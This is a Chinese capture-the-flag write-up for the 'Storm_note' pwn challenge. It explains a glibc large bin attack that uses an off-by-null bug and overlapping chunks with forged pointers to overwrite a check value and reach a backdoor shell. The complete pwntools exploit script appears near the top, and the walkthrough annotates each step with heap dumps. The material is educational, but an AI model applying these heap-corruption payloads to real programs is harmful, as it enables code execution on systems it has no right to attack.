参考链接
https://xz.aliyun.com/t/4791#toc-13
不得不说 这个博客写的很详细了。。。
建议去看 上面的链接 上面的链接写的 很详细
这个题 让我认识到了 Large bin 这个玩意真的很,,,,难
感觉比上面那两个难很多
一般来说 题目很少涉及 Large bin 涉及的题目一般都会禁止 fastbin
if ( !mallopt(1, 0) )
exit(-1);
这两行就是禁止了 fastbin 然后 mmap 下面这里是 读取随机数
这个程序有个后门
让我们输入的字符 等于 那个随机数才行 想绕过也很简单 直接把随机数改成我们想要的就行 然后程序还有一个off by null
然后看一下这个题目的保护
保护全开 QAQ 这里最让人头疼的应该就是PIE了,
这里 用到的做法就是堆块重叠
先看一下 Large bin 的结构比正常的多了两个指针
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
并且这两个指针 只有 不同 大小的 largebin 的第一个 才会有 指向那个不同的largebin 如果相同的话 会指向自己
然后我们这里直接粘贴 网上流传的 exp吧
根据这个exp 来讲,,
from pwn import *
p = process('./Storm_note')
def add(size):
p.recvuntil('Choice')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(size))
def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes)
def dele(idx):
p.recvuntil('Choice')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
edit(1,'a'*0x4f0+p64(0x500))
edit(4,'a'*0x4f0+p64(0x500))
dele(1)
edit(0,'a'*0x18)
add(0x18)
add(0x4d8)
dele(1)
dele(2)
add(0x30)
edit(7,'ffff')
add(0x4e0)
dele(4)
edit(3,'a'*0x18)
add(0x18)
add(0x4d8)
dele(4)
dele(5)
add(0x40)
edit(8,'ffff')
dele(2)
add(0x4e8) # put chunk5 to largebin
dele(2)
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit(8,payload2)
add(0x40)
payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)
p.interactive()
这里 堆块分了 三块
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
第一个 和第二个都是为了 操作 让堆块溢出的
第三个是为了 防止 于top 进行合并
然后伪造一下 下个chunk的 prev_size 然后我们继续看一下
edit(1,'a'*0x4f0+p64(0x500))
edit(4,'a'*0x4f0+p64(0x500))
继续往下看
利用 off by null 来修改 511 为500
dele(1)
edit(0,'a'*0x18)
这里的上面和下面的做法一模一样
然后继续
add(0x18)
add(0x4d8)
因为没有了 fastbin 所以直接 在 unsorted bin 找 合适的堆块
这里的两个堆块刚好把我们释放的堆块填满然后我们看一下堆内情况
这里可以看出两点 第一就是free掉后的 chunk1 然后上面我们发现 我们伪造的
prev_size = 0,
size = 1,
已经成功 。。 但是 note 里面记录的却是 还是原来的 prev_size=500 size=20 (注意 此时不是21)
在
add(0x18)
add(0x4d8)
的时候 就已经把size =0x21 改成了 size=20(这里有点疑惑 不知道为啥 估计是因为)并且把 伪造的size 改成了1
这里最后一位的1 就是 size的 PREV_INUSE 就是0 代表了 前一块是 free 状态的 加上 prev_size =510 所以正好可以 引发 unlink 然后导致 我们申请的第七个堆块 进行了覆盖 我们就可以通过 第七个堆块操控里面的值了
要说的一点就是 伪造第一个和第二个还是有区别的
dele(4)
edit(3,'a'*0x18)
add(0x18)
add(0x4d8)
dele(4)
dele(5)
add(0x40)
第一个是 add(0x30) add(0x4e0)
add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针即可
add(0x40)的原因
- 前一个 largebin 只需要伪造 bk 指针,而后一个需要伪造 bk_nextsize,所以比前一个块大 0x10
- 为了让 largebin 的 bk_nextsize 有效,前后两个的 largebin 的 size 不能相同
然后进行下一步
(下面的一段话 借鉴于 上面的链接)
dele(2)
add(0x4e8)
dele(2)
这里是为了循环 unsorted bin 让chunk4 进入 Large bin 里面
因为 largebin 中此时就只有一个 chunk5 ,所以这时的 fd_nextsize 和 bk_nextsize 会暂时指向自己。
这里和unsorted bin 的 bk fd 都指向自己差不多
再次 free 掉 chunk2。这次就又将 chunk2 放回 unsorted bin 中。
然后接下来就是伪造指针
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit(8,payload2)
接下来需要 alloc 一个 0x40 的 chunk,当 malloc 这个 chunk 时,首先会遍历 unsorted bin,从第一个 unsorted bin 的 bk 指针开始遍历(chunk2 的 bk 指针)
在 chunk2 中,这里我们伪造的是 bk=0xabcd0100-0x20=0xabcd00e0
,发现 bk 指向的 chunk 的 size 为 0 不合适,这时和前面的步骤一样,将 chunk2 从 unsorted bin 中脱链放进 largebin 中。
这个过程会完成:
fwd->bk_nextsize->fd_nextsize=victim
fwd->bk=victim
在这里等价于:
chunk5->bk_nextsize->fd_nextsize = chunk2
chunk5->bk = chunk2
堆排布如下
chunk2:
0x55e2396f2060: 0x0000000000000000 0x00000000000004f1
0x55e2396f2070: 0x0000000000000000 0x00000000abcd00e0 <-bk
0x55e2396f2080: 0x0000000000000000 0x0000000000000000
0x55e2396f2090: 0x0000000000000000 0x0000000000000000
chunk5:
0x55e2396f25c0: 0x0000000000000000 0x00000000000004e1
0x55e2396f25d0: 0x0000000000000000 0x00000000abcd00e8 <-bk
0x55e2396f25e0: 0x0000000000000000 0x00000000abcd00c3
0x55e2396f25f0: 0x0000000000000000 0x0000000000000000
在 add(0x40) 之后,情况应该是:
1. 0xabcd00c3->fd_nextsize = 0x55e2396f2060 即
*0xabcd00e3 = 0x55e2396f2060
2. 0x55e2396f25c0->fd = 0x55e2396f2060 即
*0x55e2396f25d8 = 0x55e2396f2060
所以这里在完成 unlink 操作后,这个 chunk 最后我们会分配到 0xabcd00f0 地址。
- largebin 中的 bk_nextsize 需要伪造成
p64(fake_chunk-0x18-5)
的原因类似于 fastbin 的检查机制。alloc 时的堆块会检查这个位置的 size 字段是否和当前的 malloc 的 size 满足对齐规则。这里伪造的 size 为 0x56,因为受到 PIE 的影响这个值会有偏差,所以这里 alloc 失败的话可以多试几次。
此时的 chunk2 从 0xabcd00f0
开始填充,后面的 0x40 的大小区域都可控,所以这里只需要预先填入准备好的值,后面输入 666 就可以进入到后门函数,再次填入这个值即可通过判断,进而 getshell。
payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)
总结
以前没有接触过这类的题型 这次根据详细的例题解题方法 认识到了 Largebin